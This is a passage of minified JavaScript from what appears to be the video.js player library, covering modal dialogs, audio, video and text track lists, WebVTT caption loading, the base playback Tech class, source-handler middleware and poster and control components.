t=this.contentEl(),i=t.parentNode,n=t.nextSibling;this.trigger("beforemodalfill"),this.hasBeenFilled_=!0,i.removeChild(t),this.empty(),xi(t,e),this.trigger("modalfill"),n?i.insertBefore(t,n):i.appendChild(t);const r=this.getChild("closeButton");r&&i.appendChild(r.el_)}empty(){this.trigger("beforemodalempty"),ki(this.contentEl()),this.trigger("modalempty")}content(e){return void 0!==e&&(this.content_=e),this.content_}conditionalFocus_(){const e=a().activeElement,t=this.player_.el_;this.previouslyActiveEl_=null,(t.contains(e)||t===e)&&(this.previouslyActiveEl_=e,this.focus())}conditionalBlur_(){this.previouslyActiveEl_&&(this.previouslyActiveEl_.focus(),this.previouslyActiveEl_=null)}handleKeyDown(e){if(e.stopPropagation(),l().isEventKey(e,"Escape")&&this.closeable())return e.preventDefault(),void this.close();if(!l().isEventKey(e,"Tab"))return;const t=this.focusableEls_(),i=this.el_.querySelector(":focus");let n;for(let e=0;e<t.length;e++)if(i===t[e]){n=e;break}a().activeElement===this.el_&&(n=0),e.shiftKey&&0===n?(t[t.length-1].focus(),e.preventDefault()):e.shiftKey||n!==t.length-1||(t[0].focus(),e.preventDefault())}focusableEls_(){const e=this.el_.querySelectorAll("*");return Array.prototype.filter.call(e,(e=>(e instanceof r().HTMLAnchorElement||e instanceof r().HTMLAreaElement)&&e.hasAttribute("href")||(e instanceof r().HTMLInputElement||e instanceof r().HTMLSelectElement||e instanceof r().HTMLTextAreaElement||e instanceof r().HTMLButtonElement)&&!e.hasAttribute("disabled")||e instanceof r().HTMLIFrameElement||e instanceof r().HTMLObjectElement||e instanceof r().HTMLEmbedElement||e.hasAttribute("tabindex")&&-1!==e.getAttribute("tabindex")||e.hasAttribute("contenteditable")))}}Hn.prototype.options_={pauseOnOpen:!0,temporary:!0},Sn.registerComponent("ModalDialog",Hn);class Fn extends on{constructor(e=[]){super(),this.tracks_=[],Object.defineProperty(this,"length",{get(){return this.tracks_.length}});for(let t=0;t<e.length;t++)this.addTrack(e[t])}addTrack(e){const t=this.tracks_.length;""+t in this||Object.defineProperty(this,t,{get(){return this.tracks_[t]}}),-1===this.tracks_.indexOf(e)&&(this.tracks_.push(e),this.trigger({track:e,type:"addtrack",target:this})),e.labelchange_=()=>{this.trigger({track:e,type:"labelchange",target:this})},un(e)&&e.addEventListener("labelchange",e.labelchange_)}removeTrack(e){let t;for(let i=0,n=this.length;i<n;i++)if(this[i]===e){t=this[i],t.off&&t.off(),this.tracks_.splice(i,1);break}t&&this.trigger({track:t,type:"removetrack",target:this})}getTrackById(e){let t=null;for(let i=0,n=this.length;i<n;i++){const n=this[i];if(n.id===e){t=n;break}}return t}}Fn.prototype.allowedEvents_={change:"change",addtrack:"addtrack",removetrack:"removetrack",labelchange:"labelchange"};for(const e in Fn.prototype.allowedEvents_)Fn.prototype["on"+e]=null;const Bn=function(e,t){for(let i=0;i<e.length;i++)Object.keys(e[i]).length&&t.id!==e[i].id&&(e[i].enabled=!1)},Un=function(e,t){for(let i=0;i<e.length;i++)Object.keys(e[i]).length&&t.id!==e[i].id&&(e[i].selected=!1)};class Wn extends Fn{addTrack(e){super.addTrack(e),this.queueChange_||(this.queueChange_=()=>this.queueTrigger("change")),this.triggerSelectedlanguagechange||(this.triggerSelectedlanguagechange_=()=>this.trigger("selectedlanguagechange")),e.addEventListener("modechange",this.queueChange_),-1===["metadata","chapters"].indexOf(e.kind)&&e.addEventListener("modechange",this.triggerSelectedlanguagechange_)}removeTrack(e){super.removeTrack(e),e.removeEventListener&&(this.queueChange_&&e.removeEventListener("modechange",this.queueChange_),this.selectedlanguagechange_&&e.removeEventListener("modechange",this.triggerSelectedlanguagechange_))}}class zn{constructor(e){zn.prototype.setCues_.call(this,e),Object.defineProperty(this,"length",{get(){return this.length_}})}setCues_(e){const t=this.length||0;let i=0;const n=e.length;this.cues_=e,this.length_=e.length;const r=function(e){""+e in this||Object.defineProperty(this,""+e,{get(){return this.cues_[e]}})};if(t<n)for(i=t;i<n;i++)r.call(this,i)}getCueById(e){let t=null;for(let i=0,n=this.length;i<n;i++){const n=this[i];if(n.id===e){t=n;break}}return t}}const qn={alternative:"alternative",captions:"captions",main:"main",sign:"sign",subtitles:"subtitles",commentary:"commentary"},Vn={alternative:"alternative",descriptions:"descriptions",main:"main","main-desc":"main-desc",translation:"translation",commentary:"commentary"},Jn={subtitles:"subtitles",captions:"captions",descriptions:"descriptions",chapters:"chapters",metadata:"metadata"},Gn={disabled:"disabled",hidden:"hidden",showing:"showing"};class Kn extends on{constructor(e={}){super();const t={id:e.id||"vjs_track_"+Bi(),kind:e.kind||"",language:e.language||""};let i=e.label||"";for(const e in t)Object.defineProperty(this,e,{get:()=>t[e],set(){}});Object.defineProperty(this,"label",{get:()=>i,set(e){e!==i&&(i=e,this.trigger("labelchange"))}})}}const Xn=function(e){const t=["protocol","hostname","port","pathname","search","hash","host"],i=a().createElement("a");i.href=e;const n={};for(let e=0;e<t.length;e++)n[t[e]]=i[t[e]];return"http:"===n.protocol&&(n.host=n.host.replace(/:80$/,"")),"https:"===n.protocol&&(n.host=n.host.replace(/:443$/,"")),n.protocol||(n.protocol=r().location.protocol),n.host||(n.host=r().location.host),n},Zn=function(e){if(!e.match(/^https?:\/\//)){const t=a().createElement("a");t.href=e,e=t.href}return e},Qn=function(e){if("string"==typeof e){const t=/^(\/?)([\s\S]*?)((?:\.{1,2}|[^\/]+?)(\.([^\.\/\?]+)))(?:[\/]*|[\?].*)$/.exec(e);if(t)return t.pop().toLowerCase()}return""},er=function(e,t=r().location){const i=Xn(e);return(":"===i.protocol?t.protocol:i.protocol)+i.host!==t.protocol+t.host};var tr=Object.freeze({__proto__:null,parseUrl:Xn,getAbsoluteURL:Zn,getFileExtension:Qn,isCrossOrigin:er});const ir=function(e,t){const i=new(r().WebVTT.Parser)(r(),r().vttjs,r().WebVTT.StringDecoder()),n=[];i.oncue=function(e){t.addCue(e)},i.onparsingerror=function(e){n.push(e)},i.onflush=function(){t.trigger({type:"loadeddata",target:t})},i.parse(e),n.length>0&&(r().console&&r().console.groupCollapsed&&r().console.groupCollapsed(`Text Track parsing errors for ${t.src}`),n.forEach((e=>kt.error(e))),r().console&&r().console.groupEnd&&r().console.groupEnd()),i.flush()},nr=function(e,t){const i={uri:e},n=er(e);n&&(i.cors=n);const s="use-credentials"===t.tech_.crossOrigin();s&&(i.withCredentials=s),h()(i,tn(this,(function(e,i,n){if(e)return kt.error(e,i);t.loaded_=!0,"function"!=typeof r().WebVTT?t.tech_&&t.tech_.any(["vttjsloaded","vttjserror"],(e=>{if("vttjserror"!==e.type)return ir(n,t);kt.error(`vttjs failed to load, stopping trying to process ${t.src}`)})):ir(n,t)})))};class rr extends Kn{constructor(e={}){if(!e.tech)throw new Error("A tech was not provided.");const t=Pt(e,{kind:Jn[e.kind]||"subtitles",language:e.language||e.srclang||""});let i=Gn[t.mode]||"disabled";const n=t.default;"metadata"!==t.kind&&"chapters"!==t.kind||(i="hidden"),super(t),this.tech_=t.tech,this.cues_=[],this.activeCues_=[],this.preload_=!1!==this.tech_.preloadTextTracks;const r=new zn(this.cues_),s=new zn(this.activeCues_);let a=!1;this.timeupdateHandler=tn(this,(function(e={}){this.tech_.isDisposed()||(this.tech_.isReady_?(this.activeCues=this.activeCues,a&&(this.trigger("cuechange"),a=!1),"timeupdate"!==e.type&&(this.rvf_=this.tech_.requestVideoFrameCallback(this.timeupdateHandler))):"timeupdate"!==e.type&&(this.rvf_=this.tech_.requestVideoFrameCallback(this.timeupdateHandler)))})),this.tech_.one("dispose",(()=>{this.stopTracking()})),"disabled"!==i&&this.startTracking(),Object.defineProperties(this,{default:{get:()=>n,set(){}},mode:{get:()=>i,set(e){Gn[e]&&i!==e&&(i=e,this.preload_||"disabled"===i||0!==this.cues.length||nr(this.src,this),this.stopTracking(),"disabled"!==i&&this.startTracking(),this.trigger("modechange"))}},cues:{get(){return this.loaded_?r:null},set(){}},activeCues:{get(){if(!this.loaded_)return null;if(0===this.cues.length)return s;const e=this.tech_.currentTime(),t=[];for(let i=0,n=this.cues.length;i<n;i++){const n=this.cues[i];n.startTime<=e&&n.endTime>=e&&t.push(n)}if(a=!1,t.length!==this.activeCues_.length)a=!0;else for(let e=0;e<t.length;e++)-1===this.activeCues_.indexOf(t[e])&&(a=!0);return this.activeCues_=t,s.setCues_(this.activeCues_),s},set(){}}}),t.src?(this.src=t.src,this.preload_||(this.loaded_=!0),(this.preload_||"subtitles"!==t.kind&&"captions"!==t.kind)&&nr(this.src,this)):this.loaded_=!0}startTracking(){this.rvf_=this.tech_.requestVideoFrameCallback(this.timeupdateHandler),this.tech_.on("timeupdate",this.timeupdateHandler)}stopTracking(){this.rvf_&&(this.tech_.cancelVideoFrameCallback(this.rvf_),this.rvf_=void 0),this.tech_.off("timeupdate",this.timeupdateHandler)}addCue(e){let t=e;if(r().vttjs&&!(e instanceof r().vttjs.VTTCue)){t=new(r().vttjs.VTTCue)(e.startTime,e.endTime,e.text);for(const i in e)i in t||(t[i]=e[i]);t.id=e.id,t.originalCue_=e}const i=this.tech_.textTracks();for(let e=0;e<i.length;e++)i[e]!==this&&i[e].removeCue(t);this.cues_.push(t),this.cues.setCues_(this.cues_)}removeCue(e){let t=this.cues_.length;for(;t--;){const i=this.cues_[t];if(i===e||i.originalCue_&&i.originalCue_===e){this.cues_.splice(t,1),this.cues.setCues_(this.cues_);break}}}}rr.prototype.allowedEvents_={cuechange:"cuechange"};class sr extends Kn{constructor(e={}){const t=Pt(e,{kind:Vn[e.kind]||""});super(t);let i=!1;Object.defineProperty(this,"enabled",{get:()=>i,set(e){"boolean"==typeof e&&e!==i&&(i=e,this.trigger("enabledchange"))}}),t.enabled&&(this.enabled=t.enabled),this.loaded_=!0}}class ar extends Kn{constructor(e={}){const t=Pt(e,{kind:qn[e.kind]||""});super(t);let i=!1;Object.defineProperty(this,"selected",{get:()=>i,set(e){"boolean"==typeof e&&e!==i&&(i=e,this.trigger("selectedchange"))}}),t.selected&&(this.selected=t.selected)}}class or extends on{constructor(e={}){let t;super();const i=new rr(e);this.kind=i.kind,this.src=i.src,this.srclang=i.language,this.label=i.label,this.default=i.default,Object.defineProperties(this,{readyState:{get:()=>t},track:{get:()=>i}}),t=or.NONE,i.addEventListener("loadeddata",(()=>{t=or.LOADED,this.trigger({type:"load",target:this})}))}}or.prototype.allowedEvents_={load:"load"},or.NONE=0,or.LOADING=1,or.LOADED=2,or.ERROR=3;const lr={audio:{ListClass:class extends Fn{constructor(e=[]){for(let t=e.length-1;t>=0;t--)if(e[t].enabled){Bn(e,e[t]);break}super(e),this.changing_=!1}addTrack(e){e.enabled&&Bn(this,e),super.addTrack(e),e.addEventListener&&(e.enabledChange_=()=>{this.changing_||(this.changing_=!0,Bn(this,e),this.changing_=!1,this.trigger("change"))},e.addEventListener("enabledchange",e.enabledChange_))}removeTrack(e){super.removeTrack(e),e.removeEventListener&&e.enabledChange_&&(e.removeEventListener("enabledchange",e.enabledChange_),e.enabledChange_=null)}},TrackClass:sr,capitalName:"Audio"},video:{ListClass:class extends Fn{constructor(e=[]){for(let t=e.length-1;t>=0;t--)if(e[t].selected){Un(e,e[t]);break}super(e),this.changing_=!1,Object.defineProperty(this,"selectedIndex",{get(){for(let e=0;e<this.length;e++)if(this[e].selected)return e;return-1},set(){}})}addTrack(e){e.selected&&Un(this,e),super.addTrack(e),e.addEventListener&&(e.selectedChange_=()=>{this.changing_||(this.changing_=!0,Un(this,e),this.changing_=!1,this.trigger("change"))},e.addEventListener("selectedchange",e.selectedChange_))}removeTrack(e){super.removeTrack(e),e.removeEventListener&&e.selectedChange_&&(e.removeEventListener("selectedchange",e.selectedChange_),e.selectedChange_=null)}},TrackClass:ar,capitalName:"Video"},text:{ListClass:Wn,TrackClass:rr,capitalName:"Text"}};Object.keys(lr).forEach((function(e){lr[e].getterName=`${e}Tracks`,lr[e].privateName=`${e}Tracks_`}));const ur={remoteText:{ListClass:Wn,TrackClass:rr,capitalName:"RemoteText",getterName:"remoteTextTracks",privateName:"remoteTextTracks_"},remoteTextEl:{ListClass:class{constructor(e=[]){this.trackElements_=[],Object.defineProperty(this,"length",{get(){return this.trackElements_.length}});for(let t=0,i=e.length;t<i;t++)this.addTrackElement_(e[t])}addTrackElement_(e){const t=this.trackElements_.length;""+t in this||Object.defineProperty(this,t,{get(){return this.trackElements_[t]}}),-1===this.trackElements_.indexOf(e)&&this.trackElements_.push(e)}getTrackElementByTrack_(e){let t;for(let i=0,n=this.trackElements_.length;i<n;i++)if(e===this.trackElements_[i].track){t=this.trackElements_[i];break}return t}removeTrackElement_(e){for(let t=0,i=this.trackElements_.length;t<i;t++)if(e===this.trackElements_[t]){this.trackElements_[t].track&&"function"==typeof this.trackElements_[t].track.off&&this.trackElements_[t].track.off(),"function"==typeof this.trackElements_[t].off&&this.trackElements_[t].off(),this.trackElements_.splice(t,1);break}}},TrackClass:or,capitalName:"RemoteTextTrackEls",getterName:"remoteTextTrackEls",privateName:"remoteTextTrackEls_"}},cr=Object.assign({},lr,ur);ur.names=Object.keys(ur),lr.names=Object.keys(lr),cr.names=[].concat(ur.names).concat(lr.names);class dr extends Sn{constructor(e={},t=function(){}){e.reportTouchActivity=!1,super(null,e,t),this.onDurationChange_=e=>this.onDurationChange(e),this.trackProgress_=e=>this.trackProgress(e),this.trackCurrentTime_=e=>this.trackCurrentTime(e),this.stopTrackingCurrentTime_=e=>this.stopTrackingCurrentTime(e),this.disposeSourceHandler_=e=>this.disposeSourceHandler(e),this.queuedHanders_=new Set,this.hasStarted_=!1,this.on("playing",(function(){this.hasStarted_=!0})),this.on("loadstart",(function(){this.hasStarted_=!1})),cr.names.forEach((t=>{const i=cr[t];e&&e[i.getterName]&&(this[i.privateName]=e[i.getterName])})),this.featuresProgressEvents||this.manualProgressOn(),this.featuresTimeupdateEvents||this.manualTimeUpdatesOn(),["Text","Audio","Video"].forEach((t=>{!1===e[`native${t}Tracks`]&&(this[`featuresNative${t}Tracks`]=!1)})),!1===e.nativeCaptions||!1===e.nativeTextTracks?this.featuresNativeTextTracks=!1:!0!==e.nativeCaptions&&!0!==e.nativeTextTracks||(this.featuresNativeTextTracks=!0),this.featuresNativeTextTracks||this.emulateTextTracks(),this.preloadTextTracks=!1!==e.preloadTextTracks,this.autoRemoteTextTracks_=new cr.text.ListClass,this.initTrackListeners(),e.nativeControlsForTouch||this.emitTapEvents(),this.constructor&&(this.name_=this.constructor.name||"Unknown Tech")}triggerSourceset(e){this.isReady_||this.one("ready",(()=>this.setTimeout((()=>this.triggerSourceset(e)),1))),this.trigger({src:e,type:"sourceset"})}manualProgressOn(){this.on("durationchange",this.onDurationChange_),this.manualProgress=!0,this.one("ready",this.trackProgress_)}manualProgressOff(){this.manualProgress=!1,this.stopTrackingProgress(),this.off("durationchange",this.onDurationChange_)}trackProgress(e){this.stopTrackingProgress(),this.progressInterval=this.setInterval(tn(this,(function(){const e=this.bufferedPercent();this.bufferedPercent_!==e&&this.trigger("progress"),this.bufferedPercent_=e,1===e&&this.stopTrackingProgress()})),500)}onDurationChange(e){this.duration_=this.duration()}buffered(){return Ln(0,0)}bufferedPercent(){return On(this.buffered(),this.duration_)}stopTrackingProgress(){this.clearInterval(this.progressInterval)}manualTimeUpdatesOn(){this.manualTimeUpdates=!0,this.on("play",this.trackCurrentTime_),this.on("pause",this.stopTrackingCurrentTime_)}manualTimeUpdatesOff(){this.manualTimeUpdates=!1,this.stopTrackingCurrentTime(),this.off("play",this.trackCurrentTime_),this.off("pause",this.stopTrackingCurrentTime_)}trackCurrentTime(){this.currentTimeInterval&&this.stopTrackingCurrentTime(),this.currentTimeInterval=this.setInterval((function(){this.trigger({type:"timeupdate",target:this,manuallyTriggered:!0})}),250)}stopTrackingCurrentTime(){this.clearInterval(this.currentTimeInterval),this.trigger({type:"timeupdate",target:this,manuallyTriggered:!0})}dispose(){this.clearTracks(lr.names),this.manualProgress&&this.manualProgressOff(),this.manualTimeUpdates&&this.manualTimeUpdatesOff(),super.dispose()}clearTracks(e){(e=[].concat(e)).forEach((e=>{const t=this[`${e}Tracks`]()||[];let i=t.length;for(;i--;){const n=t[i];"text"===e&&this.removeRemoteTextTrack(n),t.removeTrack(n)}}))}cleanupAutoTextTracks(){const e=this.autoRemoteTextTracks_||[];let t=e.length;for(;t--;){const i=e[t];this.removeRemoteTextTrack(i)}}reset(){}crossOrigin(){}setCrossOrigin(){}error(e){return void 0!==e&&(this.error_=new Yn(e),this.trigger("error")),this.error_}played(){return this.hasStarted_?Ln(0,0):Ln()}play(){}setScrubbing(e){}scrubbing(){}setCurrentTime(e){this.manualTimeUpdates&&this.trigger({type:"timeupdate",target:this,manuallyTriggered:!0})}initTrackListeners(){lr.names.forEach((e=>{const t=lr[e],i=()=>{this.trigger(`${e}trackchange`)},n=this[t.getterName]();n.addEventListener("removetrack",i),n.addEventListener("addtrack",i),this.on("dispose",(()=>{n.removeEventListener("removetrack",i),n.removeEventListener("addtrack",i)}))}))}addWebVttScript_(){if(!r().WebVTT)if(a().body.contains(this.el())){if(!this.options_["vtt.js"]&&Et(f())&&Object.keys(f()).length>0)return void this.trigger("vttjsloaded");const e=a().createElement("script");e.src=this.options_["vtt.js"]||"https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js",e.onload=()=>{this.trigger("vttjsloaded")},e.onerror=()=>{this.trigger("vttjserror")},this.on("dispose",(()=>{e.onload=null,e.onerror=null})),r().WebVTT=!0,this.el().parentNode.appendChild(e)}else this.ready(this.addWebVttScript_)}emulateTextTracks(){const e=this.textTracks(),t=this.remoteTextTracks(),i=t=>e.addTrack(t.track),n=t=>e.removeTrack(t.track);t.on("addtrack",i),t.on("removetrack",n),this.addWebVttScript_();const r=()=>this.trigger("texttrackchange"),s=()=>{r();for(let t=0;t<e.length;t++){const i=e[t];i.removeEventListener("cuechange",r),"showing"===i.mode&&i.addEventListener("cuechange",r)}};s(),e.addEventListener("change",s),e.addEventListener("addtrack",s),e.addEventListener("removetrack",s),this.on("dispose",(function(){t.off("addtrack",i),t.off("removetrack",n),e.removeEventListener("change",s),e.removeEventListener("addtrack",s),e.removeEventListener("removetrack",s);for(let t=0;t<e.length;t++)e[t].removeEventListener("cuechange",r)}))}addTextTrack(e,t,i){if(!e)throw new Error("TextTrack kind is required but was not provided");return function(e,t,i,n,r={}){const s=e.textTracks();r.kind=t,i&&(r.label=i),n&&(r.language=n),r.tech=e;const a=new cr.text.TrackClass(r);return s.addTrack(a),a}(this,e,t,i)}createRemoteTextTrack(e){const t=Pt(e,{tech:this});return new ur.remoteTextEl.TrackClass(t)}addRemoteTextTrack(e={},t){const i=this.createRemoteTextTrack(e);return"boolean"!=typeof t&&(t=!1),this.remoteTextTrackEls().addTrackElement_(i),this.remoteTextTracks().addTrack(i.track),!1===t&&this.ready((()=>this.autoRemoteTextTracks_.addTrack(i.track))),i}removeRemoteTextTrack(e){const t=this.remoteTextTrackEls().getTrackElementByTrack_(e);this.remoteTextTrackEls().removeTrackElement_(t),this.remoteTextTracks().removeTrack(e),this.autoRemoteTextTracks_.removeTrack(e)}getVideoPlaybackQuality(){return{}}requestPictureInPicture(){return Promise.reject()}disablePictureInPicture(){return!0}setDisablePictureInPicture(){}requestVideoFrameCallback(e){const t=Bi();return!this.isReady_||this.paused()?(this.queuedHanders_.add(t),this.one("playing",(()=>{this.queuedHanders_.has(t)&&(this.queuedHanders_.delete(t),e())}))):this.requestNamedAnimationFrame(t,e),t}cancelVideoFrameCallback(e){this.queuedHanders_.has(e)?this.queuedHanders_.delete(e):this.cancelNamedAnimationFrame(e)}setPoster(){}playsinline(){}setPlaysinline(){}overrideNativeAudioTracks(e){}overrideNativeVideoTracks(e){}canPlayType(e){return""}static canPlayType(e){return""}static canPlaySource(e,t){return dr.canPlayType(e.type)}static isTech(e){return e.prototype instanceof dr||e instanceof dr||e===dr}static registerTech(e,t){if(dr.techs_||(dr.techs_={}),!dr.isTech(t))throw new Error(`Tech ${e} must be a Tech`);if(!dr.canPlayType)throw new Error("Techs must have a static canPlayType method on them");if(!dr.canPlaySource)throw new Error("Techs must have a static canPlaySource method on them");return e=wn(e),dr.techs_[e]=t,dr.techs_[bn(e)]=t,"Tech"!==e&&dr.defaultTechOrder_.push(e),t}static getTech(e){if(e)return dr.techs_&&dr.techs_[e]?dr.techs_[e]:(e=wn(e),r()&&r().videojs&&r().videojs[e]?(kt.warn(`The ${e} tech was added to the videojs object when it should be registered using videojs.registerTech(name, tech)`),r().videojs[e]):void 0)}}cr.names.forEach((function(e){const t=cr[e];dr.prototype[t.getterName]=function(){return this[t.privateName]=this[t.privateName]||new t.ListClass,this[t.privateName]}})),dr.prototype.featuresVolumeControl=!0,dr.prototype.featuresMuteControl=!0,dr.prototype.featuresFullscreenResize=!1,dr.prototype.featuresPlaybackRate=!1,dr.prototype.featuresProgressEvents=!1,dr.prototype.featuresSourceset=!1,dr.prototype.featuresTimeupdateEvents=!1,dr.prototype.featuresNativeTextTracks=!1,dr.prototype.featuresVideoFrameCallback=!1,dr.withSourceHandlers=function(e){e.registerSourceHandler=function(t,i){let n=e.sourceHandlers;n||(n=e.sourceHandlers=[]),void 0===i&&(i=n.length),n.splice(i,0,t)},e.canPlayType=function(t){const i=e.sourceHandlers||[];let n;for(let e=0;e<i.length;e++)if(n=i[e].canPlayType(t),n)return n;return""},e.selectSourceHandler=function(t,i){const n=e.sourceHandlers||[];let r;for(let e=0;e<n.length;e++)if(r=n[e].canHandleSource(t,i),r)return n[e];return null},e.canPlaySource=function(t,i){const n=e.selectSourceHandler(t,i);return n?n.canHandleSource(t,i):""},["seekable","seeking","duration"].forEach((function(e){const t=this[e];"function"==typeof t&&(this[e]=function(){return this.sourceHandler_&&this.sourceHandler_[e]?this.sourceHandler_[e].apply(this.sourceHandler_,arguments):t.apply(this,arguments)})}),e.prototype),e.prototype.setSource=function(t){let i=e.selectSourceHandler(t,this.options_);i||(e.nativeSourceHandler?i=e.nativeSourceHandler:kt.error("No source handler found for the current source.")),this.disposeSourceHandler(),this.off("dispose",this.disposeSourceHandler_),i!==e.nativeSourceHandler&&(this.currentSource_=t),this.sourceHandler_=i.handleSource(t,this,this.options_),this.one("dispose",this.disposeSourceHandler_)},e.prototype.disposeSourceHandler=function(){this.currentSource_&&(this.clearTracks(["audio","video"]),this.currentSource_=null),this.cleanupAutoTextTracks(),this.sourceHandler_&&(this.sourceHandler_.dispose&&this.sourceHandler_.dispose(),this.sourceHandler_=null)}},Sn.registerComponent("Tech",dr),dr.registerTech("Tech",dr),dr.defaultTechOrder_=[];const hr={},pr={},fr={};function mr(e,t,i){e.setTimeout((()=>wr(t,hr[t.type],i,e)),1)}function gr(e,t,i,n=null){const r="call"+wn(i),s=e.reduce(br(r),n),a=s===fr,o=a?null:t[i](s);return function(e,t,i,n){for(let r=e.length-1;r>=0;r--){const s=e[r];s[t]&&s[t](n,i)}}(e,i,o,a),o}const _r={buffered:1,currentTime:1,duration:1,muted:1,played:1,paused:1,seekable:1,volume:1,ended:1},vr={setCurrentTime:1,setMuted:1,setVolume:1},yr={play:1,pause:1};function br(e){return(t,i)=>t===fr?fr:i[e]?i[e](t):t}function wr(e={},t=[],i,n,r=[],s=!1){const[a,...o]=t;if("string"==typeof a)wr(e,hr[a],i,n,r,s);else if(a){const t=function(e,t){const i=pr[e.id()];let n=null;if(null==i)return n=t(e),pr[e.id()]=[[t,n]],n;for(let e=0;e<i.length;e++){const[r,s]=i[e];r===t&&(n=s)}return null===n&&(n=t(e),i.push([t,n])),n}(n,a);if(!t.setSource)return r.push(t),wr(e,o,i,n,r,s);t.setSource(Object.assign({},e),(function(a,l){if(a)return wr(e,o,i,n,r,s);r.push(t),wr(l,e.type===l.type?o:hr[l.type],i,n,r,s)}))}else o.length?wr(e,o,i,n,r,s):s?i(e,r):wr(e,hr["*"],i,n,r,!0)}const Tr={opus:"video/ogg",ogv:"video/ogg",mp4:"video/mp4",mov:"video/mp4",m4v:"video/mp4",mkv:"video/x-matroska",m4a:"audio/mp4",mp3:"audio/mpeg",aac:"audio/aac",caf:"audio/x-caf",flac:"audio/flac",oga:"audio/ogg",wav:"audio/wav",m3u8:"application/x-mpegURL",mpd:"application/dash+xml",jpg:"image/jpeg",jpeg:"image/jpeg",gif:"image/gif",png:"image/png",svg:"image/svg+xml",webp:"image/webp"},kr=function(e=""){const t=Qn(e);return Tr[t.toLowerCase()]||""},Sr=function(e){if(Array.isArray(e)){let t=[];e.forEach((function(e){e=Sr(e),Array.isArray(e)?t=t.concat(e):Dt(e)&&t.push(e)})),e=t}else e="string"==typeof e&&e.trim()?[Mr({src:e})]:Dt(e)&&"string"==typeof e.src&&e.src&&e.src.trim()?[Mr(e)]:[];return e};function Mr(e){if(!e.type){const t=kr(e.src);t&&(e.type=t)}return e}Sn.registerComponent("MediaLoader",class extends Sn{constructor(e,t,i){if(super(e,Pt({createEl:!1},t),i),t.playerOptions.sources&&0!==t.playerOptions.sources.length)e.src(t.playerOptions.sources);else for(let i=0,n=t.playerOptions.techOrder;i<n.length;i++){const t=wn(n[i]);let r=dr.getTech(t);if(t||(r=Sn.getComponent(t)),r&&r.isSupported()){e.loadTech_(t);break}}}});class xr extends Sn{constructor(e,t){super(e,t),this.options_.controlText&&this.controlText(this.options_.controlText),this.handleMouseOver_=e=>this.handleMouseOver(e),this.handleMouseOut_=e=>this.handleMouseOut(e),this.handleClick_=e=>this.handleClick(e),this.handleKeyDown_=e=>this.handleKeyDown(e),this.emitTapEvents(),this.enable()}createEl(e="div",t={},i={}){t=Object.assign({className:this.buildCSSClass(),tabIndex:0},t),"button"===e&&kt.error(`Creating a ClickableComponent with an HTML element of ${e} is not supported; use a Button instead.`),i=Object.assign({role:"button"},i),this.tabIndex_=t.tabIndex;const n=si(e,t,i);return n.appendChild(si("span",{className:"vjs-icon-placeholder"},{"aria-hidden":!0})),this.createControlTextEl(n),n}dispose(){this.controlTextEl_=null,super.dispose()}createControlTextEl(e){return this.controlTextEl_=si("span",{className:"vjs-control-text"},{"aria-live":"polite"}),e&&e.appendChild(this.controlTextEl_),this.controlText(this.controlText_,e),this.controlTextEl_}controlText(e,t=this.el()){if(void 0===e)return this.controlText_||"Need Text";const i=this.localize(e);this.controlText_=e,ai(this.controlTextEl_,i),this.nonIconControl||this.player_.options_.noUITitleAttributes||t.setAttribute("title",i)}buildCSSClass(){return`vjs-control vjs-button ${super.buildCSSClass()}`}enable(){this.enabled_||(this.enabled_=!0,this.removeClass("vjs-disabled"),this.el_.setAttribute("aria-disabled","false"),void 0!==this.tabIndex_&&this.el_.setAttribute("tabIndex",this.tabIndex_),this.on(["tap","click"],this.handleClick_),this.on("keydown",this.handleKeyDown_))}disable(){this.enabled_=!1,this.addClass("vjs-disabled"),this.el_.setAttribute("aria-disabled","true"),void 0!==this.tabIndex_&&this.el_.removeAttribute("tabIndex"),this.off("mouseover",this.handleMouseOver_),this.off("mouseout",this.handleMouseOut_),this.off(["tap","click"],this.handleClick_),this.off("keydown",this.handleKeyDown_)}handleLanguagechange(){this.controlText(this.controlText_)}handleClick(e){this.options_.clickHandler&&this.options_.clickHandler.call(this,arguments)}handleKeyDown(e){l().isEventKey(e,"Space")||l().isEventKey(e,"Enter")?(e.preventDefault(),e.stopPropagation(),this.trigger("click")):super.handleKeyDown(e)}}Sn.registerComponent("ClickableComponent",xr);class Lr extends xr{constructor(e,t){super(e,t),this.update(),this.update_=e=>this.update(e),e.on("posterchange",this.update_)}dispose(){this.player().off("posterchange",this.update_),super.dispose()}createEl(){return si("div",{className:"vjs-poster"})}crossOrigin(e){if(void 0===e)return this.$("img")?this.$("img").crossOrigin:this.player_.tech_&&this.player_.tech_.isReady_?this.player_.crossOrigin():this.player_.options_.crossOrigin||this.player_.options_.crossorigin||null;null===e||"anonymous"===e||"use-credentials"===e?this.$("img")&&(this.$("img").crossOrigin=e):this.player_.log.warn(`crossOrigin must be null,  "anonymous" or "use-credentials", given "${e}"`)}update(e){const t=this.player().poster();this.setSrc(t),t?this.show():this.hide()}setSrc(e){e?(this.$("img")||this.el_.appendChild(si("picture",{className:"vjs-poster",tabIndex:-1},{},si("img",{loading:"lazy",crossOrigin:this.crossOrigin()},{alt:""}))),this.$("img").src=e):this.el_.textContent=""}handleClick(e){this.player_.controls()&&(this.player_.tech(!0)&&this.player_.tech(!0).focus(),this.player_.paused()?jn(this.player_.play()):this.player_.pause())}}Lr.prototype.crossorigin=Lr.prototype.crossOrigin,Sn.registerComponent("PosterImage",Lr);const Cr="#222",Er={monospace:"monospace",sansSerif:"sans-serif",serif:"serif",monospaceSansSerif:'"Andale Mono", "Lucida Console", monospace',monospaceSerif:'"Courier New", monospace',proportionalSansSerif:"sans-serif",proportionalSerif:"serif",casual:'"Comic Sans MS", Impact, fantasy',script:'"Monotype Corsiva", cursive',smallcaps:'"Andale Mono", "Lucida Console", monospace, sans-serif'};function Pr(e,t){let i;if(4===e.length)i=e[1]+e[1]+e[2]+e[2]+e[3]+e[3];else{if(7!==e.length)throw new Error("Invalid color code provided, "+e+"; must be formatted as e.g. #f0e or #f604e2.");i=e.slice(1)}return"rgba("+parseInt(i.slice(0,2),16)+","+parseInt(i.slice(2,4),16)+","+parseInt(i.slice(4,6),16)+","+t+")"}function Ar(e,t,i){try{e.style[t]=i}catch(e){return}}Sn.registerComponent("TextTrackDisplay",class extends Sn{constructor(e,t,i){super(e,t,i);const n=e=>this.updateDisplay(e);e.on("loadstart",(e=>this.toggleDisplay(e))),e.on("texttrackchange",n),e.on("loadedmetadata",(e=>this.preselectTrack(e))),e.ready(tn(this,(function(){if(e.tech_&&e.tech_.featuresNativeTextTracks)return void 